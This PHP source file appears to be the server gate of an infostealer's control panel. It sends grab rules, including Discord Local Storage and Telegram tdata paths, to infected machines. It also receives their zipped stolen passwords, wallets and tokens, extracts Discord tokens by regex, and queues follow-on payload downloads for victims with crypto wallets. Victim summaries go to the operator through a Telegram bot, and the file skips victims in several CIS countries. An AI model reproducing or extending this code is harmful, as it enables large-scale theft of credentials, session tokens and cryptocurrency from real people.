<?php
require_once ('db.php');
include($GLOBALS['panel_folder'].'/GeoIP/geoip.inc');

switch ($_SERVER['REQUEST_METHOD']){
    case "GET":
        getRules();
        break;
    case "POST":
        addLog();
        break;
}

function addLog(){
    $info       = checkCountry();
    
    $ip         = $info['ip'];
    $country    = $info['country'];
    $dateAdded  = date("Y-m-d H:i:s");
    $fileName   = $country . "_" .$ip. "_" .$dateAdded. "_" .$_FILES['file']['name'];
    $filePath   = $GLOBALS['panel_folder'].'/'.$GLOBALS['logspath']."/".basename($fileName);

    unset($info);
    if ($_FILES['file']['size'] != 0 && move_uploaded_file($_FILES['file']['tmp_name'], $filePath)) {
        $zip = new ZipArchive;
        if ($zip->open(realpath($filePath)) === TRUE){

            $system         = $zip->getFromName("system.txt");
            $sysinfo        = explode("\n", $system);
            $machineId      = substr($sysinfo[23], 11);
            $tag            = substr($sysinfo[0], 5);
            $username       = substr($sysinfo[21], 11);
            $os             = substr($sysinfo[16], 4);
            $workingPath    = substr($sysinfo[5], 14);
            $installDate    = substr($sysinfo[7], 12);
            $tgSystemText   = implode("\n", array_slice($sysinfo,3,25));
            $settings       = R::load('settings', 1);
           
            $dublicate = R::findOne( 'log', ' id_machine = ? ', [ $machineId ] )?"1":"0";
            // -------------------------------------------------------------------------
            // Stats
            $zip->renameName($GLOBALS['pwd_file'].".txt",'passwords.txt');
            $passwordsText  = $zip->getFromName("passwords.txt");
            $countPass      = substr_count($passwordsText, "SOFT:");
            $countCrypto    = 0;
            $countPlugins   = 0;
            $countDiscord   = 0;
            $countTelegram  = 0;

            // -------------------------------------------------------------------------
            // dublicate check
            if($settings["dublicates"] == "0" && $dublicate == "1"){
                unlink(realpath($filePath));
                exit(0);
            }

            // -------------------------------------------------------------------------
            // Add network info into system.txt
            $system = str_ireplace("IP?", $ip, $system);
            $system = str_ireplace("Country?", $country, $system);

            $zip->addFromString('system.txt', $system);

            // -------------------------------------------------------------------------
            // top sites count
            $sites = explode("\n", $passwordsText);

            foreach($sites as $line){
                if(substr($line, 0, 6) == "HOST: ") {
                    $url = parse_url(substr($line, 6))["host"];
                    $siteDb = R::findOne( 'topsites', ' url = ? ', [ $url ] );
                    if ($siteDb != NULL){
                        $siteDb->count_r = $siteDb["count_r"]+1;
                        R::store($siteDb);
                    }
                    else
                    {
                        $site = R::dispense('topsites');
                        $site->url = $url;
                        $site->count_r = 1;
                        R::store($site);
                    }
                }
            }

            // -------------------------------------------------------------------------
            // chromium passwords count
            $countChromium = substr_count($passwordsText, ": Google Chrome") +
                substr_count($passwordsText, ": Chrome") +
                substr_count($passwordsText, ": Chromium") +
                substr_count($passwordsText, ": Kometa") +
                substr_count($passwordsText, ": Amigo") +
                substr_count($passwordsText, ": Torch") +
                substr_count($passwordsText, ": Orbitum") +
                substr_count($passwordsText, ": Comodo Dragon") +
                substr_count($passwordsText, ": Nichrome") +
                substr_count($passwordsText, ": Maxthon5") +
                substr_count($passwordsText, ": Sputnik") +
                substr_count($passwordsText, ": EPB") +
                substr_count($passwordsText, ": Vivaldi") +
                substr_count($passwordsText, ": CocCoc Browser") +
                substr_count($passwordsText, ": Uran Browser") +
                substr_count($passwordsText, ": QIP Surf") +
                substr_count($passwordsText, ": Cent") +
                substr_count($passwordsText, ": Elements Browser") +
                substr_count($passwordsText, ": TorBrowser");

            // -------------------------------------------------------------------------
            // firefox passwords count
            $countFirefox  = substr_count($passwordsText, ": Mozilla Firefox") +
                substr_count($passwordsText, ": Pale Moon") +
                substr_count($passwordsText, ": Waterfox") +
                substr_count($passwordsText, ": Cyberfox") +
                substr_count($passwordsText, ": Black Hawk") +
                substr_count($passwordsText, ": IceCat") +
                substr_count($passwordsText, ": Firefox") +
                substr_count($passwordsText, ": K-Meleon");

            // -------------------------------------------------------------------------
            // other passwords count
            $countIE       = substr_count($passwordsText, ": Internet Explorer");
            $countEdge     = substr_count($passwordsText, ": Edge_Chromium");
            $countOpera    = substr_count($passwordsText, ": Opera");

            $temp = R::findOne('browsers', 'name = ?', ['Chromium']);
            $temp->count_c = $temp["count_c"]+$countChromium;
            R::store($temp);

            $temp = R::findOne('browsers', 'name = ?', ['Firefox']);
            $temp->count_c = $temp["count_c"]+$countFirefox;
            R::store($temp);

            $temp = R::findOne('browsers', 'name = ?', ['IE']);
            $temp->count_c = $temp["count_c"]+$countIE;
            R::store($temp);

            $temp = R::findOne('browsers', 'name = ?', ['Edge']);
            $temp->count_c = $temp["count_c"]+$countEdge;
            R::store($temp);

            $temp = R::findOne('browsers', 'name = ?', ['Opera']);
            $temp->count_c = $temp["count_c"]+$countOpera;
            R::store($temp);

            // -------------------------------------------------------------------------
            // crypto, plugins, discord, telegram count
            $tokens = "";
            $countFilesInLog = $zip->numFiles;

            for ($i = 0; $i < $countFilesInLog; $i++)
            {
                $stat = $zip->statIndex($i);
                if(strripos($stat['name'], "Wallets/")!==false){
                    $countCrypto++;
                } else if(strripos($stat['name'], "Plugins/")!==false){
                    $countPlugins++;
                } else if(strripos($stat['name'], "Discord/")!==false && $settings["grab_discord"] == "1"){
                    $discord = $zip->getFromName($stat['name']);
                    preg_match('/[\w-]{24}\.[\w-]{6}\.[\w-]{27}/i', $discord, $matches);
                    foreach ($matches as $match)
                    {
                        $countDiscord++;
                        $tokens .= $match."\n";
                    }
                } else if(strripos($stat['name'], "Telegram/")!==false && $settings["grab_telegram"] == "1"){
                    $countTelegram++;
                }
            }
            if ($tokens != "")
            {
                $zip->addFromString('Discord_Tokens.txt', $tokens);
            }
            unset($stat);

            // -------------------------------------------------------------------------
            // Add log info in db
            $passwordsText = mb_convert_encoding($passwordsText,"UTF-8");
            $system = mb_convert_encoding($system,"UTF-8");

            $log = R::dispense('log');

            $log->id_machine        = $machineId;
            $log->count_pwds        = $countPass;
            $log->ip                = $ip;
            $log->country           = $country;
            $log->add_date          = $dateAdded;
            $log->count_crpt        = $countCrypto;
            $log->count_plugins     = $countPlugins;
            $log->count_discord     = $countDiscord;
            $log->count_telegram    = $countTelegram;
            $log->path              = $fileName;
            $log->dublicate         = $dublicate;
            $log->tag               = $tag;
            R::store($log);

            $_log = R::findOne('log','add_date LIKE ? AND id_machine LIKE ? ', [$dateAdded,$machineId]);

            $_log->text_pwds        = $passwordsText;
            $_log->text_sys         = $system;

            R::store($_log);

            if($country != "UNK")
            {
                $stat_country = R::findOne ('statistics_countries', ' code = ? ', [$country]);
                $stat_country->count_c = $stat_country["count_c"]+1;
                R::store($stat_country);
            }

            // -------------------------------------------------------------------------
            // generate loader request link|load_to|startup_param|

            $request_string = "";
            $rules = R::findAll('loader');

            foreach ($rules as $rule) {
                $stat = 0;
                if((($rule['cold_wallets'] == "0") or (($rule['cold_wallets'] == "1") and ($countCrypto != "0"))) and ($rule['is_active'] == "1")) {
                    if($rule['pwds']!=""){
                        $_pwds = explode(',', $rule["pwds"]);
                        foreach ($_pwds as $_pwd) {
                            if(strpos($passwordsText, $_pwd)) {
                                $stat = 1;
                            }
                        }
                    }else{$stat = 1;}

                    if ($stat == 1){
                        $request_string .= $rule['file_path']."|";
                        $request_string .= $rule['load_to']."|";
                        if ($rule['startup_param'] == ""){
                            $request_string .= " |";
                        }
                        else{
                            $request_string .= $rule['startup_param']."|";
                        }
                    }
                }
            }

            echo base64_encode($request_string);

            // -------------------------------------------------------------------------
            // Tg bot send message
            if($settings["bot_enable"] == "1")
            {
                $markers = R::find('markerrule', 'is_active = ?', ["1"]);
                $goodMarkers ="";

                foreach (array_reverse($markers, true) as $marker) {
                    $_markers = explode(',', $marker["marker"]);
                    foreach ($_markers as $_marker) {
                        if (stripos($passwordsText, $_marker)) {
                            $goodMarkers .= $_marker." ";
                        }
                    }
                }

                $link = "http://" . $GLOBALS['domain'] . "/" . $filePath;
                if ($dublicate == "1") {
                    $dublicate = "yes";
                }
                else {
                    $dublicate = "no";
                }

                $telegram_text = '
IP: <b>'.$ip.'</b>
Country: <b>'.$country.'</b>

Passwords: <b>'.$countPass.'</b>
Crypto: <b>'.$countCrypto.'</b>
Plugins: <b>'.$countPlugins.'</b>
Discord: <b>' . $countDiscord . '</b>
Telegram: <b>' . $countTelegram . '</b>
Markers: <b><code>'.  $goodMarkers .'</code></b>

Dublicate: <b>'.$dublicate.'</b>

Username: <b>'. $username .'</b>
OS: <b>'. $os .'</b>

Path: <b>'. $workingPath .'</b>

Archive: <a>'. $link .'</a>

Date: <b>'. $installDate .'</b>
';
                $url = "https://api.telegram.org/bot"  .$settings["bot_token"] . "/sendPhoto";

                if($settings["bot_scr"] == "1")
                {
                    $photo = "http://" . $GLOBALS['domain'] . "/" . $GLOBALS['panel_folder'] . "/view.php?path=" . $GLOBALS['logspath'] . "/" . $fileName . "";
                    $url = "https://api.telegram.org/bot"  .$settings["bot_token"] . "/sendPhoto";
                    $post_fields = array
                    (
                        'chat_id'   => $settings["chatid"],
                        'disable_web_page_preview' => false,
                        'caption'	=> $telegram_text,
                        'parse_mode' => 'HTML',
                        'photo' => $photo
                    );
                }
                else
                {
                    $url = "https://api.telegram.org/bot"  .$settings["bot_token"] . "/sendMessage";
                    $post_fields = array
                    (
                        'chat_id'   => $settings["chatid"],
                        'disable_web_page_preview' => false,
                        'text'	=> $telegram_text,
                        'parse_mode' => 'HTML',
                    );
                }


                $ch = curl_init();
                curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type:multipart/form-data"));
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
                $output = curl_exec($ch);
            }

        }
    }
}

function getRules(){
    checkCountry();
    // -------------------------------------------------------------------------
    // generate grab request name|max_size|path|formats|exceptions|recursively|
    $settings = R::load('settings', 1);

    $request_string = $settings['grab_downloads'] . "|";
    $request_string .= $settings['grab_history']."|";
    $request_string .= $settings['grab_autofill']."|";
    $request_string .= $settings['grab_screenshot']."|";
    $request_string .= $settings['selfdelete']."|";
    $request_string .= $GLOBALS['pwd_file']."|";
    $rules = R::findAll('grabrule');
    if ($settings['grab_discord'] == '1')
    {
        $request_string .= "Discord"."|";
        $request_string .= "0"."|";
        $request_string .= "%APPDATA%\\discord\\Local Storage\\"."|";
        $request_string .= "*"."|";
        $request_string .= "1"."|";
        $request_string .= "0"."|";
        $request_string .= "0"."|";
    }
    if ($settings['grab_telegram'] == '1')
    {
        $request_string .= "Telegram"."|";
        $request_string .= "0"."|";
        $request_string .= "%APPDATA%\\Telegram Desktop\\tdata\\"."|";
        $request_string .= "*D877F783D5D3EF8C*,*map*,*configs*"."|";
        $request_string .= "1"."|";
        $request_string .= "0"."|";
        $request_string .= "0"."|";
    }
    foreach ($rules as $rule)
    {
        if ($rule['is_active'] == '1')
        {
            $request_string .= $rule['name']."|";
            $request_string .= $rule['max_size']."|";
            $request_string .= $rule['path']."|";
            $request_string .= $rule['formats']."|";
            $request_string .= $rule['recursively']."|";
            $request_string .= $rule['compress']."|";
            $request_string .= $rule['blacklist']."|";
        }
    }
    echo base64_encode($request_string);
}

function checkCountry(){

    $IP = $_SERVER["HTTP_X_FORWARDED_FOR"] ?? ($_SERVER["HTTP_X_REAL_IP"] ?? $_SERVER["REMOTE_ADDR"]);
    $gi = geoip_open($GLOBALS['panel_folder'].'/GeoIP/GeoIP.dat', GEOIP_STANDARD);
    $Country = geoip_country_code_by_addr($gi, $IP)==""?"UNK":geoip_country_code_by_addr($gi, $IP);
    geoip_close($gi);
    return !in_array($Country, ['RU', 'BY', 'KZ', 'AZ', 'UZ']) ? ['ip' => $IP, 'country' => $Country] : exit();
}
?>